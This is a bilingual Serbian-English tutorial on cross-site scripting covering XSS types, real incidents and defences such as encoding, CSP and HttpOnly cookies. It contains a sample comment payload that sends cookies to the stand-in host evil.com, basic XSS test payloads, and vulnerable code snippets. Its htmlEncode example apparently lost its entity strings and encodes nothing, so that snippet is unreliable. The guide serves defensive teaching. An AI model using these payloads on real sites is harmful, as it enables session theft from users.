XSS Napadi — Sta su i kako se zastititi
Kompletni vodic za Cross-Site Scripting: tipovi napada, realni primeri i detaljne mere zastite
Sadrzaj
1. Sta je XSS (Cross-Site Scripting)
Cross-Site Scripting (XSS) je tip web ranjivosti gde napadac uspeva da ubaci maliciozan JavaScript kod u web stranicu koju drugi korisnici gledaju. Kod se izvrsava u browser-u zrtve sa svim privilegijama koje ta stranica ima.
XSS je klasifikovan kao CWE-79 i nalazi se na OWASP Top 10 listi od njenog nastanka. U OWASP Top 10 2021, XSS je pod kategorijom A07:2021 — Cross-Site Scripting. U prethodnom izdanju (2017) bio je na poziciji #3 (A7:2017), sto pokazuje koliko je rasprostranjen.
Prema HackerOne izvestaju, XSS predstavlja oko 18% svih prijavljenih ranjivosti na bug bounty platformama.
2. Tri tipa XSS napada
Tip 1: Reflected XSS (Non-Persistent)
Najcesci tip. Payload se salje kroz URL parametar, server ga ukljuci u odgovor bez filtriranja. Zrtva mora kliknuti na pripremljeni link. Cesto se koristi u phishing kampanjama.
<!-- Ranjiv PHP kod -->
<p>Rezultati za: <?php echo $_GET['q']; ?></p>
<!-- Bezbedan kod -->
<p>Rezultati za: <?php echo htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8'); ?></p>
Tip 2: Stored XSS (Persistent)
Najopasniji tip. Maliciozan kod se cuva u bazi podataka i prikazuje svim korisnicima koji posete stranicu. Cest u komentarima, forumskim postovima i korisnickim profilima. Ne zahteva interakciju od zrtve — sama poseta stranici je dovoljna.
<!-- Napadac ostavlja komentar: -->
Odlican clanak! <script>
new Image().src = 'https://evil.com/steal?cookie=' + document.cookie;
</script>
<!-- Svaki posetilac te stranice nesvesno salje kolacice napadacu -->
Tip 3: DOM-based XSS
Kod se nikada ne salje serveru. JavaScript na stranici koristi nesigurne DOM API-je za obradu korisnickog unosa bez sanitizacije. Server ne vidi napad jer se sve desava u browser-u.
// RANJIVO — nesiguran DOM metod ubacuje korisnicki HTML
var name = new URLSearchParams(location.search).get('name');
document.getElementById('g').insertAdjacentHTML('beforeend', name);
// BEZBEDNO — textContent enkoduje automatski
document.getElementById('g').textContent = name;
Poredjenje tipova
| Karakteristika | Reflected | Stored | DOM-based |
|---|---|---|---|
| Persistencija | Jednokratno | Trajno (u bazi) | Jednokratno |
| Vektor | URL parametar | Baza podataka | JavaScript/DOM |
| Izvrsavanje | Server + browser | Server + browser | Samo browser |
| Interakcija zrtve | Klik na link | Samo poseta stranici | Klik na link |
| Vidljivost serveru | Da (u logu) | Da (u bazi) | Ne |
| Opasnost | Srednja | Visoka | Srednja |
3. Kako XSS napad radi — korak po korak
- Identifikacija — Napadac pronalazi input polje ili URL parametar bez filtriranja.
- Kreiranje payload-a — Pravi JavaScript kod prilagodjen kontekstu (HTML, atribut, JS).
- Ubacivanje — Payload se unosi kroz formu, URL, ili API poziv.
- Isporuka — Server vraca zarazeni HTML korisnicima (ili browser sam obradjuje za DOM-based).
- Izvrsavanje — Browser zrtve izvrsava maliciozan kod sa privilegijama stranice.
- Eksfiltracija — Ukradeni podaci (kolacici, tokeni, lozinke) se salju napadacu.
4. Realni primeri napada
Samy Worm — MySpace (2005)
Samy Kamkar kreirao XSS crv koji se automatski dodavao kao friend i kopirao u profil zrtve. Za samo 20 sati zarazeno je preko 1 milion korisnika — najbrze sireci virus ikada. MySpace je morao da ugasi ceo sajt da bi ocistio infekciju. Samy je dobio 3 godine uslovno i 90 dana drustvenog rada.
samy.pl/myspace — Originalni write-up
British Airways — Magecart (2018)
Grupa Magecart ubacila maliciozan JavaScript u BA sajt i mobilnu aplikaciju. Skripta je presretala podatke sa forme za placanje: ime, adresa, broj kartice i CVV. Napad je trajao od 21. avgusta do 5. septembra 2018, pogodivsi ~380,000 transakcija. ICO je izrekao kaznu od 20 miliona funti po GDPR-u.
Fortnite — XSS u login stranici (2019)
Istrazivaci iz Check Point-a otkrili su XSS ranjivost na starom, zaboravljenom Epic Games poddomenu. Napadac je mogao da ukrade pristupni token korisnika bez da zna lozinku — dovoljno je bilo da zrtva klikne na link. Sa 200+ miliona igraca u to vreme, potencijalni uticaj bio je ogroman. Epic Games je brzo zakrpio ranjivost nakon prijave.
eBay XSS (2015–2016)
Prodavci su mogli da ubacuju JavaScript u opise proizvoda. Stored XSS je omogucavao preusmeravanje kupaca na phishing sajtove ili kradju sesije. Problem je bio posebno opasan jer je eBay dozvoljavao HTML u opisima.
jQuery — CVE-2020-11022
XSS ranjivost u jQuery verzijama 1.2 do 3.5.0. Metoda .html() bila je ranjiva kad se koristila sa nepouzdanim HTML-om. S obzirom da jQuery koristi 77%+ sajtova (W3Techs), ovo je pogodilo ogroman broj aplikacija. Fix: upgrade na 3.5.1+.
jQuery UI — CVE-2021-41184
Datepicker widget bio je ranjiv na XSS kroz altField opciju. Fiksovano u verziji 1.13.0.
5. Posledice XSS napada
- Kradja sesije — Napadac preuzima nalog zrtve citajuci
document.cookie - Phishing — Lazni login form prikazan preko legitimnog sajta
- Defacement — Promena izgleda sajta, unistavanja reputacije
- Preusmeravanje — Korisnik se salje na maliciozne sajtove bez znanja
- Keylogging — Snimanje svih tastera koje korisnik pritisne na stranici
- Kradja kartica — Presretanje podataka sa formi za placanje (Magecart tehnika)
- Malware distribucija — Automatsko preuzimanje malvera na racunar zrtve
- Cryptojacking — Rudarenje kriptovaluta u browser-u zrtve
- GDPR kazne — Kompanija koja ne zastiti korisnike moze dobiti kaznu do 4% globalnog prometa
6. Zastita: Output Encoding
Najvaznija mera zastite — konvertovanje specijalnih karaktera u bezbedne ekvivalente pre prikazivanja korisnickih podataka.
HTML kontekst
// BEZBEDNO — textContent ne parsira HTML
element.textContent = userInput;
// Rucno HTML enkodovanje
function htmlEncode(str) {
return str.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// PHP
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// Django — automatski enkoduje u template-ima
{{ user_input }}
JavaScript kontekst
// BEZBEDNO — data atributi umesto inline JS
var name = document.getElementById('user').dataset.name;
// NIKAD nemojte ovo:
// var name = '{{ user_input }}'; <-- XSS ako input sadrzi '
URL kontekst
// Uvek koristite encodeURIComponent za parametre
var url = '/profil?name=' + encodeURIComponent(userInput);
OWASP XSS Prevention Cheat Sheet
7. Zastita: Content Security Policy (CSP)
CSP ogranicava koje skripte browser sme da izvrsi. Cak i ako napadac ubaci kod, CSP ga blokira jer nema dozvolu za izvrsavanje.
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-R4nd0m123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
object-src 'none';
base-uri 'self';
form-action 'self';
Nonce-based pristup
Server generise random nonce za svaki zahtev. Samo skripte sa tacnim nonce atributom se izvrsavaju. Ovo je preporuceni pristup po CSP Level 3.
<!-- Sa nonce-om — browser izvrsava -->
<script nonce="R4nd0m123">console.log('Ova skripta radi');</script>
<!-- Bez nonce-a — browser BLOKIRA -->
<script>alert('Ova skripta je blokirana');</script>
'strict-dynamic' dozvoljava nonce skriptama da ucitavaju dodatne skripte bez eksplicitnog nonce-a.MDN — CSP | Security Headers vodic
8. Zastita: HttpOnly kolacici
HttpOnly flag sprecava JavaScript pristup kolacicima — document.cookie nece vratiti HttpOnly kolacice. Cak i ako XSS uspe, napadac ne moze da ukrade sesiju.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
// PHP
session_set_cookie_params([
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);
// Express.js
app.use(session({
cookie: { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 3600000 }
}));
// Django settings.py
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_SAMESITE = 'Strict'
CSRF_COOKIE_HTTPONLY = True
SameSite atribut
Strict— Kolacic se salje samo za zahteve sa istog sajta (najbezbednije)Lax— Salje se za navigacione GET zahteve sa drugih sajtova (browser default od 2020)None; Secure— Uvek se salje, ali zahteva HTTPS (za cross-site integracije)
9. Zastita: Input validacija i sanitizacija
Whitelist pristup (preporucen)
function validateUsername(input) {
return /^[a-zA-Z0-9_]{3,20}$/.test(input);
}
function validateEmail(input) {
return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(input);
}
DOMPurify — sanitizacija HTML-a
import DOMPurify from 'dompurify';
// Osnovna sanitizacija
var clean = DOMPurify.sanitize(dirtyHTML);
// Sa whitelist-om
var clean = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title', 'target']
});
// Python — bleach biblioteka
import bleach
clean = bleach.clean(dirty, tags=['b', 'i', 'a'], attributes={'a': ['href']})
Framework zastite
| Framework | Auto-escaping | Opasne funkcije (izbegavajte!) |
|---|---|---|
| React | Da (JSX enkoduje) | Unsafe innerHTML wrapper metod |
| Angular | Da (templates) | bypassSecurityTrust metode |
| Vue.js | Da ({{ }}) | v-html direktiva |
| Django | Da (templates) | |safe filter, mark_safe() |
| Laravel/Blade | Da ({{ }}) | {!! !!} sintaksa |
| ASP.NET Razor | Da (@) | @Html.Raw() |
10. Kako testirati sajt na XSS
Testiranje za XSS je kritican deo bezbednosnog audita.
Automatski alati
- OWASP ZAP — Besplatan, open-source proxy sa XSS skenerom
- Burp Suite — Profesionalni alat sa naprednim XSS detekcijom (Community verzija je besplatna)
- XSS Hunter — Specializovan za otkrivanje blind XSS ranjivosti
- Nuclei — Template-based skener sa XSS proverama
Manuelno testiranje
<!-- Osnovni test payloadi -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<!-- Testirati u: -->
<!-- 1. Sva input polja (pretraga, komentari, profil) -->
<!-- 2. URL parametri (?q=, ?name=, ?redirect=) -->
<!-- 3. HTTP headeri (Referer, User-Agent) -->
<!-- 4. Kolacici -->
<!-- 5. File upload imena -->
Browser DevTools
- Console tab — pratite CSP greske i blokirane skripte
- Network tab — proverite da li se
Content-Security-Policyheader salje - Application tab — proverite da li kolacici imaju
HttpOnlyflag
11. Reference i resursi
- OWASP XSS Prevention Cheat Sheet
- OWASP Top 10 — A07:2021 Cross-Site Scripting
- CWE-79: Improper Neutralization of Input
- PortSwigger — XSS Labs (besplatne vezbe)
- DOMPurify — DOM-only XSS sanitizer
- MDN — Content Security Policy (CSP)
- CVE-2020-11022 — jQuery XSS
- CVE-2021-41184 — jQuery UI Datepicker XSS
- OWASP XSS Filter Evasion Cheat Sheet
XSS Attacks — What they are and how to protect yourself
Complete guide to Cross-Site Scripting: attack types, real-world examples, and detailed protection measures
Table of Contents
1. What is XSS (Cross-Site Scripting)
Cross-Site Scripting (XSS) is a web vulnerability where an attacker injects malicious JavaScript into a page viewed by other users. Classified as CWE-79. OWASP Top 10 2021: A07:2021 (previously #3 in A7:2017). About 18% of bug bounty reports (HackerOne).
2. Three types of XSS attacks
Type 1: Reflected XSS (Non-Persistent)
Most common. Payload sent via URL, server includes it in response without filtering. Victim must click crafted link.
<!-- Vulnerable (PHP) -->
<?php echo $_GET['q']; ?>
<!-- Secure -->
<?php echo htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8'); ?>
Type 2: Stored XSS (Persistent)
Most dangerous. Code stored in database, displayed to all visitors. Common in comments, forums, profiles. No interaction needed.
Type 3: DOM-based XSS
Never sent to server. JavaScript uses unsafe DOM APIs with user input.
// VULNERABLE — unsafe DOM method inserts user HTML
element.insertAdjacentHTML('beforeend', userInput);
// SAFE — textContent auto-encodes
element.textContent = userInput;
| Feature | Reflected | Stored | DOM-based |
|---|---|---|---|
| Persistence | One-time | Permanent | One-time |
| Execution | Server+browser | Server+browser | Browser only |
| Danger | Medium | High | Medium |
3. How XSS works — step by step
- Find vulnerability — Unfiltered input field
- Inject payload — Malicious JS stored in database
- Deliver to victim — Server sends infected HTML
- Browser executes — JS runs with page privileges
- Data exfiltration — Stolen data sent to attacker
4. Real-world examples
Samy Worm — MySpace (2005)
XSS worm infected 1M+ users in 20 hours. Fastest-spreading virus ever. Details
British Airways — Magecart (2018)
Malicious JS intercepted payment data from 380,000 transactions. £20M fine by ICO for GDPR violations.
Fortnite — Login page XSS (2019)
Check Point researchers found XSS on a forgotten Epic Games subdomain. Could steal access tokens from 200M+ players. Patched quickly after disclosure.
jQuery — CVE-2020-11022
XSS in jQuery 1.2–3.5.0 via .html(). 77% of websites affected. Fix: upgrade to 3.5.1+.
jQuery UI — CVE-2021-41184
Datepicker XSS via altField. Fixed in 1.13.0.
5. Consequences
- Session hijacking — Steal session cookies via
document.cookie - Phishing — Fake login forms on legitimate domains
- Defacement — Alter page content
- Redirection — Send users to malicious sites
- Keylogging — Record keystrokes
- Card theft — Intercept payment data (Magecart)
- Malware — Drive-by downloads
- Cryptojacking — Mine cryptocurrency in victim's browser
- GDPR fines — Up to 4% of global revenue
6. Protection: Output Encoding
// Safe — textContent
element.textContent = userInput;
// HTML encoding
function htmlEncode(s) {
return s.replace(/&/g,'&').replace(/</g,'<')
.replace(/>/g,'>').replace(/"/g,'"');
}
// PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// Django: {{ user_input }} auto-encodes
// URL: encodeURIComponent(userInput)
OWASP XSS Prevention Cheat Sheet
7. Protection: Content Security Policy
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-R4nd0m123';
object-src 'none';
base-uri 'self';
Nonce-based: server generates random nonce per request. Only scripts with matching nonce execute.
MDN — CSP | Security headers guide
8. Protection: HttpOnly cookies
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict;
// Express.js
app.use(session({ cookie: { httpOnly: true, secure: true, sameSite: 'strict' } }));
// Django
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True
9. Protection: Input validation and sanitization
function validateUsername(input) {
return /^[a-zA-Z0-9_]{3,20}$/.test(input);
}
// DOMPurify
import DOMPurify from 'dompurify';
var clean = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_TAGS: ['b', 'i', 'a', 'p'],
ALLOWED_ATTR: ['href']
});
| Framework | Auto-escaping | Dangerous functions |
|---|---|---|
| React | Yes (JSX) | Unsafe innerHTML wrapper |
| Angular | Yes | Bypass trust methods |
| Vue.js | Yes ({{ }}) | v-html |
| Django | Yes | |safe, mark_safe() |
| Laravel | Yes ({{ }}) | {!! !!} |
| ASP.NET Razor | Yes (@) | @Html.Raw() |
10. Testing for XSS
Automated tools
- OWASP ZAP — Free, open-source proxy with XSS scanner
- Burp Suite — Professional XSS detection (Community edition free)
- XSS Hunter — Specialized for blind XSS
- Nuclei — Template-based scanner with XSS checks
Manual testing
<!-- Basic test payloads -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<!-- Test in: input fields, URL params, HTTP headers, cookies, file upload names -->
11. References and resources
- OWASP XSS Prevention Cheat Sheet
- OWASP Top 10 — A07:2021
- CWE-79
- PortSwigger — XSS Labs
- DOMPurify
- CVE-2020-11022 — jQuery XSS
- CVE-2021-41184 — jQuery UI
- MDN — CSP
- OWASP XSS Filter Evasion Cheat Sheet